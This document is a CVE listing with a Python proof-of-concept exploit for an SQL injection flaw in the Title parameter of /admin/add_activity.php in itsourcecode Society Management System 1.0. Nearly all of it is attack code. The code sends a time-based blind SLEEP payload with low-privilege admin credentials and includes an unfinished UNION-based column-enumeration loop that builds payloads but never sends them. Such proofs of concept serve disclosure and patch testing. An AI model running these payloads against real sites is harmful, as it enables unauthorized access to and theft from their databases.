CVE-2026-1118: itsourcecode Society Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2026-1118 SQL Injection PoC # Target: itsourcecode Society Management System 1.0 # Endpoint: /admin/add_activity.php # Vulnerable Parameter: Title TARGET_URL = "http://target-site.com/admin/add_activity.php" def exploit_sql_injection(): """ SQL Injection exploit for CVE-2026-1118 This PoC demonstrates blind SQL injection in the Title parameter """ # Basic authentication for low-privilege admin account auth = ('lowpriv_user', 'password') # SQL Injection payload - extracts database version # Using time-based blind injection technique payload = "'+(SELECT*FROM(SELECT(SLEEP(5)))a)+'" data = { 'Title': payload, 'Description': 'Test Activity', 'Date': '2026-01-18', 'submit': 'Add' } try: print(f"[*] Sending exploit request to {TARGET_URL}") print(f"[*] Payload: {payload}") response = requests.post(TARGET_URL, data=data, auth=auth, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection confirmed! Server response delayed by 5 seconds.") print(f"[+] Database version could be extracted using similar techniques.") else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.Timeout: print("[+] SQL Injection confirmed! Request timed out as expected.") except Exception as e: print(f"[-] Error: {str(e)}") def union_based_injection(): """ UNION-based SQL injection to extract database information """ # Determine number of columns (typically 1-10) for i in range(1, 11): payload = f"' UNION SELECT {','.join(['1']*i)}-- " # Send request and analyze response print(f"[*] Testing {i} columns...") if __name__ == "__main__": print("CVE-2026-1118 SQL Injection PoC") print("=" * 50) exploit_sql_injection()